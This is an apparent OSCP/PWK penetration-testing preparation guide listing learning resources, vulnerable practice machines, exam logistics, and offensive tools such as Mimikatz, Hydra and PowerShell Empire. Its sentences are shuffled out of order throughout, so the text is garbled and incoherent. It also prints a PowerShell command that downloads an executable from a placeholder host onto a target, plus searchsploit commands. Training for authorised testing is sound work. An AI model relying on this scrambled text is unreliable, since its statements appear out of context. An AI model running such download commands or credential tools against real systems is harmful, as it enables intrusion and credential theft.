Some of the boxes they provide also contain hints for the boxes as well: eLearnSecurity use to be a great place to learn more about pentesting with the courses they offered. https://portswigger.net/web-security. When you are ready to take the course, you should expect the following: As of now Offensive Security has restricted the following tools: Any tools that perform similar functions as those above are also prohibited. Recently the Kali Linux team is partnering with BC Security to sponsor PowerShell Empire. The original link is dead but you can find copies of it on the wayback machine: If you want to access to their retired machines you will have to get VIP access. Daniel Miessler guide to using Masscan: https://danielmiessler.com/study/masscan/. P.S: Considering this journey as an extra mile, I am going to have to insist at this point for you to Try Harder! Some of the systems you may notice were old Offsec Exam machines that you can assess to sharpen your hacking skills. Here are some resources that can give you an idea of note taking tools, what templates people use for note taking, and how corporations create their pentest reports: Tools to record your terminal input/output: Script: The script command records a shell session for you so that you can look at the output that you saw at the time and you can even record with timing so that you can have a real-time playback. Take some time to understand them because you may have to use them on an actual engagement or in the field. Google Dorks: Using various google searches that you can find that may expose sensitive information about a target. Most of them result in obtaining root or Administrative/System level access in the end. http://www.fuzzysecurity.com/tutorials/16.html, Pwnwiki Windows Privilege Escalation Commands: Nessus is more stable on Kali Linux and it has a simple straightforward interface. Fuzzysecurity Windows Privilege Escalation Fundamentals: Shout out to fuzzysec for taking the time to write this because this is an amazing guide that will help you understand Privilege escalation techniques in Windows. Metasploit Unleashed using John the Ripper with Hashdump: Seclists: apt-get install seclists Use Case for Understanding the Tools/Scripts you use in a Pentest: Using Script to record everything in your terminal: Packettotal (Just like virustotal but for PCAP Analysis): Nmap Official Guide: I used this more than the man pages. Youll develop and hone this as you go through the exercises and labs. Once I finish going through the syllabus, I will also be providing some extra resources that came in handy. SANS provides a wide variety of information security courses. https://www.offensive-security.com/documentation/penetration-testing-with-kali.pdf. With this being said you will need to figure out some techniques to transfer files to and from your target system. Do not expect these resources to be the main thing you use for obtaining OSCP. In addition, you will also need to understand the different tools that you can use to conduct online and offline password attacks. I really enjoyed their challenges when I did them! Performing these tests will certainly help you better understand what your targets are in the lab. In this section you need to understand the basics of password attacks. You will probably use this everyday (If not most of the time while you are in the lab). Not all exploits are going to work right out of the box you will need to configure them to make sure they can reach back to your attacking system. For instance, check out the Client Side Attack Section in Metasploit Unleashed: https://www.offensive-security.com/metasploit-unleashed/client-side-attacks/. Here is a good cheat sheet I used for tcpdump when I needed to troubleshoot my exploits: https://www.andreafortuna.org/technology/networking/tcpdump-a-simple-cheatsheet/, Wireshark: GUI based Network Analysis tool. Something you should keep in mind :D. Here are a list of tools that I have played with to get a better understanding of how you can automate SQL Injections: Link to download the machine: https://metasploit.help.rapid7.com/docs/metasploitable-2, Backup Link: https://www.vulnhub.com/entry/metasploitable-2,29/, Exploitability Guide: https://metasploit.help.rapid7.com/docs/metasploitable-2-exploitability-guide, OWASP Juice Shop: Another vulnerable web application that contains a variety of challenges to improve your web skills. However, it has the ability to to allow multiple clients listen on a port and to reuse connections. With theses captured requests a penetration tester can analyze, manipulate, and fuzz individual HTTP requests in order to identify potential parameters or injection points manually. https://resources.infosecinstitute.com/dns-enumeration-techniques-in-linux/. Trust me you will learn some cool things in a CTF that not even a class may be able to teach you. You are ultimately responsible for knowing what features or external utilities any chosen tool is using. As He wrote: The boxes that are contained in this list should be used as a way to get started, to build your practical skills, or brush up on any weak points that you may have in your pentesting methodology. http://overthewire.org/wargames/natas/, Web Security Academy: Authors of the Web Application Handbook. You may also find CTFs that Offsec sponsors where you can be able to win a PWK voucher! ), Features in other tools that utilize either forbidden or restricted exam limitations. With these walkthroughs I used Exploit-DB to check if they had the vulnerable application in many cases. Learn to build your own strategy/methodology that works for you when you are improving your practical skills. A platform to help people grow there skills and learn more about cybersecurity. https://portswigger.net/web-security, Other resources: https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=0. PWK Learning Path: A very useful resource to help get started on what boxes you should go through in the PWK lab. I highly encourage you to make some time to learn how to install Active Directory on a Windows Server (version of your liking). However, these courses can be expensive if you are unable to get someone to pay for them. Everyone has to start somewhere in their journey you just have to keep pushing forward. Link for Nmap Network Scanning Book (if you want to purchase it): What language is the web application written in? The update replaces OpenVAS and students will learn how to use use Nessus. They have a variety of different rooms you can choose from and they do a good job explaining fundamental concepts in some of these rooms. You will need VMware or VirtualBox (I recommend VMware workstation) to run these vulnerable systems. In addition, one of the most powerful features that you should also learn is the Nmap Scripting Engine (NSE). As Robert Graham says this can be done in less than 6 minutes at around 10 million packets per second. The Screen Sharing application needs to be running on your main system that you will be using to connect to your exam. Here are some resources that you can look into to get an understanding of how PowerShell Empire works: This concludes the resources I have used that helped me understand the course syllabus. You can find all of his password lists here: Understanding Port forwarding with Metasploit: Explore Hidden Networks with Double Pivoting: 0xdf hacks stuff. Review the request and response headers to understand how the web application behaves when you make certain actions to it. I went back to this section and I really enjoyed how OffSec took the time to go more in-depth on how you should build your web assessment methodology. In case you would like to see some examples you can find many of these whitepapers on the Exploit Database: https://www.exploit-db.com/search?q=Authentication+Bypass, Alumni Management System 1.0 https://www.exploit-db.com/exploits/48883, OWASP:https://www.owasp.org/index.php/Cross-site_Scripting_(XSS), OWASP: https://owasp.org/www-community/attacks/Path_Traversal, File Inclusion Vulnerabilities. Here are the courses that I would recommend if you are looking to prepare for OSCP. In offline attacks you will carry out the cracking locally, like using John The Ripper to crack a zip file on your local machine. Downloading a file from your host: powershell (New-Object System.Net.WebClient).DownloadFile('https://IP Address/update.exe', 'msi-installer.exe') After all web apps are starting to become more popular to see on pentests. Bugcrowd University has a webinar that Jason Haddix created explaining about burp suite and how you can use it. Inspect every element to see how the web app works. In the free tier you are allowed to play with the 20 active machines they have and they cycle a new system in the range every week and retire an old one there as well. A lot of the cyber competitions in the past few years really helped me build my skills and I still go out once in awhile to find a CTF to compete in for fun . Depending on the tactic you use and the information you have gathered to plan this attack, you will have a better chance of success for the client to click on it. Check for admin consoles (Ex: Wordpress applications will have a directory /admin that can be used to access the Wordpress Admin Console). Also be dressed for your exam. Kioptrix: Level 1, a vulnerable-by-design virtual machine from Vulnhub, rated as Easy/Beginner level machine. Improving your hands-on skills will play a huge key role when you are tackling these machines. You can find that information here: Test your webcam to make sure it works. With NSE scripts you have the ability automate a wide variety of networking tasks for your scans including vulnerability detection and exploitation. I highly recommend you take some time to learn what the tool does, how each command switch works, each scanning technique you can run, and any other capabilities. A good set of fun Linux challenges to get yourself familiarizes with bash and Linux. The tool is a command-line tool that you can use to create download or upload jobs and monitor their progress. https://www.abatchy.com/2017/03/how-to-prepare-for-pwkoscp-noob. These tools can miss services or findings that you should be looking for. You can find this recording here: Metasploitable 2: Contains Vulnerable Web Services such as. PG Practice includes all of the features and removes the three hour time limit but Practice also offers Linux and Windows boxes that you can use to improve your pentesting skills as these boxes are created by Offsec Experts. Experiment with this tool and understand what it does because you will be using this almost every day during your course and beyond. This practice is great to implement in case you are stuck on a windows system that is running a service that for some reason you cannot obtain a shell on. If you would like to download the custom Kali Linux System for the PWK you can find it here: Keep in mind that the virtual machines hosted on Offensive Security are updated by the Kali Linux Team. In order to get an understanding of this section I recommend applying your knowledge through Vulnhub or Hackthebox to improve your skills in this area. Everyone prepares differently and mentally. Here is a list of online hash crackers that I found online that you can use to crack hashes: Depending on your scope, some of the machines may not be directly accessible. The possibilities are endless, and make sure you find the ones that will work for you. Please keep this in mind that this tool is can be very noisy when scanning a targets web server. Remember you can always choose to not include information in the report if you dont need it. Operator Handbook: Red Team + OSINT + Blue Team Reference: Learn Windows PowerShell in a Month of Lunches 3rd Edition. For those of you that have read my previous version you will notice there may be some sections that still have the same resources but you will also notice new resources for each section. After releasing the first version of my PWK/OSCP guide, Offsec released an update to the PWK/OSCP and included a key classification system to help students understand how course designation work. Abatchys walkthrough really helped me here: OverTheWire Natas: There a lot of free PCAP samples online that you can use to understand how Wireshark works. It is the merger of the previous PowerShell Empire and Python EmPyre projects. I recommend that you set up a Windows 10 Workstation if you plan to use Windows Server 2016/2019. If you have the time or if you already can, set some time out of your busy schedule to do a CTF. Always review the source code of the web page! In addition, you should also know how zone transfers work and how to perform them. A tool that you should 100% totally learn about. Metasploit The Penetration Testers Guide (A super awesome book to read): https://nostarch.com/metasploit, Metasploit Documentation: https://docs.rapid7.com/metasploit/getting-started/. Tools to help you automate the installation for Active Directory: Understanding Authentication protocols that Active Directory Utilizes: Tools for Active Directory Lateral Movement and Persistence: The only guide that I used to learn more about Metasploit is Offensive Security Metasploit Unleashed coursewhich is free! PowerShell consists of running in a shell or a command-line environment. I did not spend too much time in this section for preparation because vulnerability scanners are simple and easy to configure. When you are taking the course, It is encouraged that you try to go through every system that is in the PWK/OSCP lab environment, as they will provide better insight for when you attempt to the exam itself. Well then! You can find his guide here: The course is pretty straight forward in this section. https://web.archive.org/web/20200309204648/http://0daysecurity.com/penetration-testing/enumeration.html. Supports SSL communication and it is part of Nmap. Keep in mind that PG Play only allows you three hours per day to assess a system in the Play environment. The goal of this challenge is to get root and to read the one and only flag. If you do not understand how the code worksdo some research!!! Just like Hackthebox, except you have to download the vulnerable machines and run them on your local system. Throughout the internet you will probably find a variety of different resources to help you understand how buffer overflows work. I understand for many of us that it is hard to set some time to do all of the things in this field and that is totally OK! What version is the web application running? Running Client-Side Attacks usually require client interaction so its good to have an understanding of how this works and also how you can set one up. If you read this entire guide, I certainly give you props for doing so. Active Directory Domain Services can be installed on Windows Server (2000-2019). Before you download a public exploit I would consider you take some time to review the code and understand what the exploit is suppose to actually too. The PDF guide you will receive with your course materials contains a list of resources and how you should approach the material and lab environment. Be careful with downloading some of these PCAP files because they may have malware in them; make sure you read where the PCAP is from before playing :D, The bash Guide: A good guide to get you into the bash scripting. These scanners rely on a database that contains the necessary information needed to conduct a scan. The only guide I probably ever used to help me understand privilege escalation techniques in Linux systems was from g0tmi1k post. https://www.offensive-security.com/metasploit-unleashed/, Other Resources: A tool that is designed for testing, debugging, and generally interacting with APIs & HTTP servers. http://pwnwiki.io/#!privesc/windows/index.md, Absolombs Security Blog: Windows Privilege Escalation Guide Issues or Requests that you think should be added in Kali: Linux Journey: The PWK/OSCP is classified as PEN-200 and after spending some time reviewing the course I decided that I wanted to create an update version to help future students out there prepare for the new PEN-200. You can use multiple monitors for the exam. I highly recommend to you read the restrictions carefully and the OffSec perception of how a report is created. https://www.owasp.org/index.php/OWASP_Juice_Shop_Project, Overthewire Natas: A set of wargame challenges that are web base that you will need to complete in order to move to the next round. SQL Injection Tools: https://github.com/411Hall/JAWS/commits?author=411Hall, Windows Exploit Suggester Next Generation: https://github.com/bitsadmin/wesng, Sherlock (Created by RastaMouse): Another cool PowerShell script that finds missing software patches for local privilege escalation techniques in Windows. Sample Hashes to test with Hashcat: https://hashcat.net/wiki/doku.php?id=example_hashes, THC Hydra: https://github.com/vanhauser-thc/thc-hydra, Crowbar: https://github.com/galkan/crowbar, Hash-Identifier: https://github.com/psypanda/hashID, Mimikatz: https://github.com/gentilkiwi/mimikatz, Mimipenguin: https://github.com/huntergregal/mimipenguin, Pypykatz: https://github.com/skelsec/pypykatz, Xajkep Wordlists: https://github.com/xajkep/wordlists. Personally, competing in CTFs did help me in this course and also it gave me a better understanding of what things I should be looking for instead of jumping into rabbit holes! When an administrative login panel is left exposed it can make it significantly easier for attackers to compromise that site, depending on the security and permissions that web developer/application have implemented. I am absolutely positive you can find proof of concepts online and walkthroughs that will explain how the exploit actually works. https://github.com/besimorhino/powercat, TCPDump: Command line base Network Analysis Tool. Introduction This Kioptrix VM Ima Hacking Walkthroughs, Writeups and Guides, Details about PWK/OCSP course can be found in, The Journey to Try Harder- TJNulls Preparation Guide for PWK OSCP (. If you read only parts of it, then I still give you props because the main thing that is important to me is that you learned something from it! I think that is pretty simple to understand why. Tools I did not use in the lab but I used them for preparation and they have come in handy for other tests. Even with my preparation, I lost 30 mins of my actual exam time due to troubleshooting the applications for the proctor on my end. Introduction to DNS: For those of you that would like to know about my journey when I took the course and exam, you can find my earlier post here: The tool uses an interception proxy that connects to your browser to route traffic through the Burp Suite proxy client. I have also created a list of vulnhub machines that I have found to be OSCP-Like as well. There are a variety of services running on so many systemstake the time to understand them! From the syllabus I will breakdown each section by providing you the resources I used to prepare for the course. If anyone has any questions about this guide or feedback please let me know as you can reach out to me on twitter, discord, or on NetSecFocus! I also want to thank the following people for taking the time to read and provide feedback for the updated version of this guide: This guide has been approved by Offensive Security for PEN-200! https://www.tenable.com/products/nessus/nessus-essentials. You can find there tool here: Typically online password cracking involves sending attempts to the authentication service; like a web form or terminal service. searchsploit -x /usr/share/exploitdb/exploits/windows/remote/43970.rb: The -x command switch allows you to examine the exploit code or information about the exploit. Take some time to look at each of them because they could be a key for you to obtain shell access on a system! These tools can be able to identify hidden directory structures or webpages that can come in handy when you are in the labs or during your assessment. These machines are excellent to help you build your skills for pentesting. There are places where you can download them and run them on your system to begin practice or places where you can connect to their range and start hacking into the targets they have. I did not spend too much time learning about this section since Metasploit encodes it payloads to bypass most anti-virus (well older versions at least). But re-tracing your steps to grab screenshots, tool output, etc. I will continue to be updating this list in the future, and if you would like to keep it around you can find it here and on NetSecFocus: https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159, HTB Boxes to Prepare for OSCP (Youtube Playlist): https://www.youtube.com/playlist?list=PLidcsTyj9JXK-fnabFLVEvHinQ14Jy5tf. The primary objective of the OSCP exam is to evaluate your skills in identifying and exploiting vulnerabilities, not in automating the process. I usually went for these first to see if they had the hash cracked in their database. A word of advice: Be aware of the exploits you download from the public! You can find the list here and check for updates that I will add to the list in the future: An online penetration testing platform that contains a variety of machines to help you improve your penetration testing skills. Pivoting and Tunnelling: SSHuttle (Totally Recommend learning this): Microsoft Documentation to install Active Directory: Install Windows Active Directory on Windows Server 2019: Understanding Users Accounts in Active Directory: Three ways to create an Active Directory User: Active Directory Enumeration with Powershell: Active Directory Exploitation Cheat Sheet: Overpass the hash (Payload All the things): Cracking Kerberos TGS Tickets Using Kerberoast: Building an Active Directory with PowerShell: Network Forensics (Packet Analysis, Captured Traffic, Network Services), Reverse Engineering (disassemble applications). I know there are scripts for automating this process but at some points those scripts can miss something very important on your target that you need to escalate your privileges. I highly recommend purchasing the full book since the official guide is missing a few chapters, such as Detecting and Subverting Firewalls and Intrusion Detection Systems, Optimizing Nmap Performance, Port Scanning Techniques and Algorithms, Host Discovery (Ping Scanning), and more. Introduction This Kioptrix: Level 1 VM I DC-9 is a purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing. However, that does not mean you should skip over them. Another virtual machine I created was a Windows 7 32-bit system to spin up any vulnerable applications I needed to debug or to check if I could obtain a shell from them. https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md, LinEnum: A great Linux privilege escalation checker that is still maintained by the guys at rebootuser.com. INE Cybersecurity Training: https://ine.com/pages/cybersecurity. I thanked a lot of people for helping me with my journey in this guide and I want to thank them again for their time and contributions for helping me learn and grow in the cyber-security field. Thank you for creating your original guide: As a pentester you need to gather information about the web application. Trust me you do not want to burn yourself out. This includes output from scans, screenshots from key findings, your assumptions, and much more. (e.g. With that being said I will provide some of my notes and resources that helped me understand how buffer overflows. The 2nd most important resource that I used to help me prepare for the course: This means that a student will be monitored by an Offensive Security staff member through a screen sharing and webcam service. Explainshell: I love watching his videos because he goes through step by step on how to obtain access onto the target and how to escalate your privileges to obtain root access. Without his guide I would have never started exploring for other resources. As of August 15th, 2018, all OSCP exams have a proctored exam. These challenges will help you understand the basics you need to identify issues in web applications. Each tool listed has there own set of advantages/disadvantages depending on what you are trying to use them for. If you do not have the funds to invest into Hackthebox, do not worry because you can certainly find these walkthroughs online (once the boxes are retired). Resources to learn more about PowerShell: Hands on Challenges for learning PowerShell: PowerCat: A powershell version of netcat. All the lessons are free. With the approval from Offsec I have created a list of boxes that I have gone through that I believe were OSCP Like. Proctors cannot provide any assistance during the exam. Unlike most shells, which accept and return text, PowerShell is built on top of the .NET Common Language Runtime (CLR), and accepts and returns .NET objects. Very useful and good to know if you are on a system that does not have a GUI. Corelan Team: A huge shout out to these guys because their articles from information security to exploit development are absolutely incredible! Plan to make a commitment to this and have an open mindset to learning new things. searchsploit MS-17-010 finds all cases/exploits linked to MS17-010. Be careful when using Automated Tools: Automated tools can improve your performance and reduce the time taken in your methodology when assessing a target. One thing that I will mention is if you want to practice your Linux privilege escalation, I highly recommend you take a look at Lin.Security vulnerable box created by in.security! You can find them here and also check out IppSec playlist he created from the list I recommended to start watching! There will come a time that you will need to use a public exploit on your target to see if you can obtain a shell on it. Be prepared and log into your webcam and ScreenConnect sessions 30 mins before your exam. It is up to you to build your format and layout when you are creating these notes that fits your workflow. Just make sure you notify the proctor when you leave and when you return for your exam. A good foundational course that helped me understand more about Kali Linux and it has a nice Linux Fundamentals section. You will learn a lot from this course, take your time to understand the material and this guide. With that exploit you may need to modify shellcode or even parts of the exploit to match with your system to obtain a connection from your target. Ropnop Transferring Files from Linux to Windows (post-exploitation): John the Ripper: https://www.openwall.com/john/. Things to check for when you are enumerating a web application: These tools are designed to brute force site structure including directories and files in websites. Boot-to-Root Vulnerable Machines! Hack This Site: https://www.hackthissite.org/. wordlists that have been hashed) or computing services that you can use to break hashes. Pentesterlabs: As for MAC Users you will need to use VMware Fusion. You can also try to apply for the SANS workforce training as well to be able to take their courses at a discount. If you cannot find any local CTFs check out CTFTime for online competitions that you can participate in. OSWAP Testing for LFI: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion, SQL Injections: The box was designed to help people understand how certain applications and service that are misconfigured can be easily abused by an attacker. Awesome resource that parses a variety of man pages from Ubuntu Manage Repository. It breaks down the commands you are using, but it is best to refer to the man pages if you have any questions: . you cannot use a spare laptop that has a webcam and connect the webcam session onto that system. For Active Directory preparation I created a Windows Server 2019 and a Windows 10 Pro virtual machine to join to the AD environment I created. Those sections are really going to help you understand how you should be taking your notes, writing your report, what to expect when your are testing the lab environment, and also what you should be careful of doing when you are going through the course. Although these exploits can endanger any system they could also endanger yours. The platform offers two tiers PG Play and PG Practice. https://pentesterlab.com/, Pentester Academy: TJ-OSINT-Notebook Public This OSINT Notebook provides an overview of the tools, techniques, and resources that I use for a variety of situations when it comes to performing reconaissance and OSINT operations. If you do not know what DNS is or how it works, here is a great guide that I used to better understand it from Digital Ocean: Reference: https://support.offensive-security.com/oscp-exam-guide/. Keep in mind that everyone takes notes and builds their reports differently. A popular web application vulnerability scanner that contains a variety of features and plugins to identify web vulnerabilities on certain web applications. The script can be downloaded onto a Windows target to transfer files, return a shell, or create payloads that we can call back from our target. The http & https commands allow for creating and sending arbitrary HTTP requests. I wont provide any of these walkthroughs but I will at least provide the binaries that you can use to manually identify buffer overflows. So, go out there and find some CTFs whether they are local to you or online make some time and have confidence in doing them. Please make sure that you are running these vulnerable systems on an isolated network and not on a public network. https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/, Pentest.blog: Windows Privilege Escalation Methods for Pentesters They will certainly come in handy! https://www.netsecfocus.com/oscp/review/2019/01/29/An_Adventure_to_Try_Harder_Tjnulls_OSCP_Journey.html, If you are still going through the old labs and course material, you find the first guide here: Each box has a different scenario and IppSec always has something extra to throw in when he is doing his walkthroughs. I hope you are able to use my guide in your OSCP journey and are able to learn some new things, just like I did when I started mine. A lot of web app pentesting material in this course: Social Engineering is one of the most common tactic that can be used to execute a proper client side attack. hidden web directories (sitemaps like robot.txt or sitemap.xml). They have an article they posted about Stack Based Overflows that gave me a better understanding of identifying a buffer overflow in an application: Once I finished reading the articles I decided to start going through write-ups and forums where people manually identified buffer overflows in certain applications. For this section I am going to break into two parts: Windows and Linux Privilege Escalation Techniques. Each of their courses are taught by very smart instructors who have been in this field for a very long time. Here are some client side attacks that are commonly used: I would use these tools to learn how to make your own. They only provide Linux boxes as well but this could change in the future. ), Automatic exploitation tools. Well try to get root shell and obtain flag. Once the interception proxy is configured you can start capturing and analyzing each request to and from the target web application. Section 1: General Course Information Section 2: Getting Comfortable with Kali Linux Section 3: Linux Command Line Kung-Fu Section 4: Essential Tools in Kali Section 5: Getting Started with Bash Scripting Section 6: Passive Reconnaissance The course recommends that you are using VMware products to run the custom Kali Linux image that they have created. Here are my resources that I used to learn more about Nmap: Masscan: A powerful tool that can be used to scan a set of requested ports against your targets. PowerShell is a cross-platform scripting language built by Microsoft that can is used for task automation and configuration management. Make sure you review the source code and test the exploits in an contained environment before running them on your actual system. PowerShell Empire is a post-exploitation framework that includes a pure-PowerShell Windows agent that is compatible with Python 3.x Linux/OS X agents. Resources to learn more about Bash Scripting: Example Templates for writing your own Bash Scripts: Take some time to learn about these tricks and techniques. For instructions on how to install Nessus on Kali Linux you can find it here: Hands on challenge to get comfortable with Linux: Netcat: The TCP/IP Swiss Army tool. However, dont use these online crackers as your main tools for everything. will take valuable time. https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/, GTFOBins (I have to thank Ippsec for sharing this with me): Contains a curated list of Unix binaries that that have the ability to be exploited by an attacker to bypass local security restrictions on a Linux system. You can take breaks, a nap, or grab a cup of coffee during your exam. Does the web application connect to a database? This site contains a variety of practical challenges on Web App Attacks: Play with some of the other command switches that Searchsploit has because it will make it much easier for you to find exploits on your kali box. Before I took my exam, I had to go through a variety of things to make sure I was prepared to take my 1st attempt. The proctor will notify you about how many screens they see and you will need to confirm them with the number monitors you are using. If you use a system that has a monitor and it is not connected to the ScreenConnect application, then you will not be able to use that monitor for the exam. In addition, the purpose of a vulnerability scanner is to identify security holes in services or in a operating system. There are certain tools that you cannot use for the exam. SANS Holiday Hack Challenges: Rooting Vulnerable Machines is extremely important when you are preparing for PWK/OSCP because you cant depend on theoretical knowledge to pass. Additional Resources: Root-me.org A huge place that has challenges for almost everything in cybersecurity. A good set of simple web application challenges. The material provided in the PWK was fantastic and really straightforward. Ncat: A better version of netcat in my opinion. In Kioptrix: Level 1.1 (#2), a vulnerable-by-design virtual machine from Vulnhub, rated as Easy/Beginner level machine. This sponsorship provides Kali users with 30-day exclusive early access to Empire and Starkiller before the updates are publicly released to the official repository. There are systems out there that are dual homed, which allow you to connect into an internal network. Identify the differences between Windows (NTLM) hashes and Linux hashes. As pentesters we can execute techniques such as brute forcing, signing in with compromised credentials/obtaining credentials, or in the case of unpatched systems, access by exploiting the administration login page. Shodan: For those who have not gone through the registration you will need to pass a challenge to generate yourself an activation code. db_autopwn, browser_autopwn, SQLmap, SQLninja etc. A huge guide to learn about a variety of different things in Linux. Abatchy provided a link from 0day security that gave me a lot of ideas and things to look for that I may have missed when I skipped some the of the services in the lab. The course does a great job explaining how to use the tool and how can you use it. I know some of you are reading this are probably skeptical on why I added thiswell to be honest the cybersecurity careers that we are in are not a normal 7am-3pm jobit is a lifestyle. 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